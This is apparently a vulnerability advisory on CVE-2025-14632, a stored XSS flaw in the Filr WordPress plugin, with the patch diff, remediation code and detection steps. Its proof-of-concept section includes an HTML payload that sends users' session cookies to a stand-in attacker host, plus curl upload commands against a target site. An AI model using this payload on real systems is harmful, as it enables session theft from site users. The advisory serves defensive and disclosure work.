← back to articles
view analysis
SECURITY ADVISORY / 01

CVE-2025-14632 Exploit & Vulnerability Analysis

Complete CVE-2025-14632 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:filr-protection NVD ↗
Exploit PoC Vulnerability Patch Analysis

Security Analysis: CVE-2025-14632 - Filr Plugin Stored XSS via HTML File Upload

1. Vulnerability Background

Overview

CVE-2025-14632 is a Stored Cross-Site Scripting (XSS) vulnerability in the Filr – Secure Document Library WordPress plugin (versions ≤ 1.2.11). The vulnerability exists in the file upload functionality, which fails to restrict HTML file uploads despite blocking other potentially dangerous file types.

Attack Vector & Severity

The vulnerability requires authenticated access with Administrator-level privileges, limiting its exposure compared to unauthenticated XSS flaws. However, in organizations with multiple administrators or compromised admin accounts, this becomes a significant persistence mechanism. An attacker can upload HTML files containing malicious JavaScript that executes whenever users access the uploaded file through the plugin's interface.

CVSS Severity: High (requires admin privileges but enables stored XSS)

Affected Systems

  • Plugin: Filr – Secure Document Library
  • Versions: All versions up to and including 1.2.11
  • WordPress: All versions compatible with Filr 1.2.11
  • Attack Requirements:
    • Administrator or higher privilege level
    • Ability to create/edit posts with 'filr' post type
    • User with document access permissions

2. Technical Details

Root Cause Analysis

The vulnerability stems from an incomplete file extension blacklist in the FILR_Uploader class. The developers correctly identified and blocked executable file extensions (.php, .phtml, .js, .sql) but overlooked that HTML files (.html, .htm) are equally dangerous in web contexts.

Why HTML Upload is Dangerous:

  • HTML files can contain inline JavaScript via <script> tags
  • Modern browsers execute JavaScript in HTML documents served with appropriate MIME types
  • If the upload directory is web-accessible and files are served with Content-Type: text/html, the browser interprets and executes embedded scripts
  • This bypasses typical XSS protections that focus on dynamic content generation

Code Comparison

Before (Vulnerable - v1.2.11):

'disallowedExtensions' => array( 
    'htaccess', 
    'php', 'php3', 'php4', 'php5', 'php7', 'php8', 
    'phtml', 
    'js', 
    'sql', 
    'phar' 
),

After (Fixed):

'disallowedExtensions' => array( 
    'htaccess', 
    'php', 'php3', 'php4', 'php5', 'php7', 'php8', 
    'phtml', 
    'js', 
    'sql', 
    'phar', 
    'html',      // ADDED
    'htm'        // ADDED
),

Security Improvements

  1. Extension-Based Blocking: HTML and HTM extensions now appear in the disallowedExtensions array, preventing direct upload of static HTML files.

  2. Attack Surface Reduction: Eliminates the most direct vector for injecting executable content that bypasses server-side processing.

  3. Defense Depth: While not a complete solution (see Recommendations), this adds another layer preventing casual exploitation.

Limitations of This Fix

The fix is necessary but not sufficient:

  • MIME type validation missing: Attackers could rename .html to .txt or another allowed extension
  • No content inspection: The upload doesn't validate file contents, only extensions
  • Directory permissions: If uploads are web-accessible with execute permissions, other vectors may exist

3. Proof of Concept (PoC) Guide

Prerequisites

  • WordPress installation with Filr plugin v1.2.11 or earlier
  • Administrator account access
  • Permission to create/edit 'filr' post type
  • Ability to upload files through the plugin interface

Step-by-Step Exploitation

Step 1: Create Malicious HTML Payload

<!DOCTYPE html>
<html>
<head>
    <title>Document</title>
</head>
<body>
    <h1>Secure Document</h1>
    <p>Loading content...</p>
    <script>
        // Steal session cookies and send to attacker server
        var cookies = document.cookie;
        fetch('http://attacker.com/steal.php', {
            method: 'POST',
            body: 'cookies=' + encodeURIComponent(cookies)
        });
        
        // Redirect to legitimate site to avoid suspicion
        window.location.href = 'https://example.com';
    </script>
</body>
</html>

Step 2: Upload via Filr Plugin

  1. Navigate to Filr document management interface
  2. Select "Create New Document" or "Upload File"
  3. Save the malicious payload as document.html
  4. Upload through the plugin interface
  5. File is stored with web-accessible path (typically /wp-content/uploads/filr/)

Step 3: Trigger Execution

  1. Share the document link with target users via post/email
  2. When users click the link or access the document, browser renders the HTML
  3. Embedded JavaScript executes in the context of the WordPress domain
  4. Attacker script has access to session cookies, localStorage, and can perform actions on behalf of the user

Verification Steps (Pre-Patch)

Method 1: Direct Testing

## Attempt to upload HTML file through WordPress REST API or plugin interface
curl -X POST \
  -H "Authorization: Bearer $AUTH_TOKEN" \
  -F "[email protected]" \
  https://target-wordpress.com/wp-json/filr/v1/upload

## If successful (pre-patch), file is stored and accessible
curl https://target-wordpress.com/wp-content/uploads/filr/malicious.html
## Response contains executable HTML with script tags

Method 2: Manual Verification

  1. Log in as administrator
  2. Navigate to Filr upload interface
  3. Attempt to upload file named test.html with content: 
    <script>alert('XSS Vulnerability')</script>
  4. Pre-patch: Alert appears when document is accessed
  5. Post-patch: Upload is rejected with extension validation error

4. Recommendations

For WordPress Administrators (Immediate)

  1. Update Plugin: Upgrade to Filr v1.2.12 or later immediately
  2. Audit Uploads: Review /wp-content/uploads/ directories for suspicious HTML/HTM files
  3. Check Admin Logs: Review which administrators uploaded files in recent weeks
  4. Monitor Access: Enable logging for document access patterns (potential exfiltration)

Implementation of Comprehensive Fix

Beyond the extension blacklist, implement:

1. Whitelist Approach (Recommended)

// Replace blacklist with whitelist of safe document types
'allowedExtensions' => array(
    'pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx',
    'txt', 'csv', 'zip', 'rar', '7z',
    'jpg', 'jpeg', 'png', 'gif', 'webp'
),

2. MIME Type Validation

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

$allowed_mimes = array(
    'application/pdf',
    'application/msword',
    'text/plain',
    'image/jpeg',
    'image/png'
);

if (!in_array($mime, $allowed_mimes)) {
    die('Invalid file type');
}

3. Content Inspection

// Check for embedded scripts in document files
$content = file_get_contents($_FILES['file']['tmp_name']);
if (preg_match('/<script|javascript:|onerror=|onload=/i', $content)) {
    die('Malicious content detected');
}

4. Secure Serving

// Force download instead of inline viewing for untrusted files
header('Content-Disposition: attachment; filename="document.pdf"');
header('Content-Type: application/octet-stream');

Detection Methods

Log Monitoring

  • Monitor for .html or .htm file uploads to /wp-content/uploads/
  • Alert on administrator upload activity during off-hours
  • Track failed upload attempts with unusual extensions

File System Scanning

## Search for suspicious HTML files in uploads
find /var/www/html/wp-content/uploads -type f \( -name "*.html" -o -name "*.htm" \)

## Check file creation dates around known compromise windows
find /var/www/html/wp-content/uploads -type f -newermt "2024-01-01" -name "*.html"

Web Application Firewall Rules

  • Block HTTP requests to .html files within upload directories
  • Monitor POST requests to Filr upload endpoints
  • Alert on unusual file extensions in upload parameters

Best Practices to Prevent Similar Issues

  1. Use Whitelists, Not Blacklists

    • Explicitly define allowed file types rather than trying to block everything dangerous
    • Blacklists are inherently incomplete and easily bypassed

  2. Multi-Layer Validation

    • Validate file extension
    • Validate MIME type (magic bytes)
    • Inspect file content for malicious patterns
    • Verify file structure integrity

  3. Secure File Storage

    • Store uploads outside web root when possible
    • If web-accessible, serve with restrictive Content-Type headers
    • Disable script execution in upload directories via .htaccess or nginx config: 
      <FilesMatch "\.(html|htm|php|js)$">
    Deny from all
</FilesMatch>

  4. Apply Principle of Least Privilege

    • Restrict file upload capabilities to necessary user roles
    • Implement role-based access controls for document library
    • Audit permissions regularly

  5. Security Code Review

    • For file upload functionality, explicitly test:
      • HTML/HTM uploads
      • MIME type mismatches
      • Files with double extensions (.php.txt)
      • Polyglot files (valid images containing scripts)

  6. Content Security Policy (CSP)

    • Implement CSP headers to restrict inline script execution: 
      Content-Security-Policy: script-src 'self'; object-src 'none';

Summary

CVE-2025-14632 demonstrates a common vulnerability pattern: incomplete attack surface identification during security implementation. The developers correctly recognized that executable file types like PHP and JavaScript must be blocked but failed to account for HTML files as XSS vectors.

The patch adds HTML and HTM to the blocked extensions list, which prevents the most straightforward exploitation path. However, comprehensive security requires validating file contents, MIME types, and serving practices—not just extensions. Organizations using Filr should prioritize upgrading to patched versions and implementing the additional security controls outlined in this analysis.

Frequently asked questions about CVE-2025-14632

What is CVE-2025-14632?

CVE-2025-14632 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-14632?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-14632. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-14632 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-14632?

CVE-2025-14632 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-14632?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-14632?

The severity rating and CVSS scoring for CVE-2025-14632 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.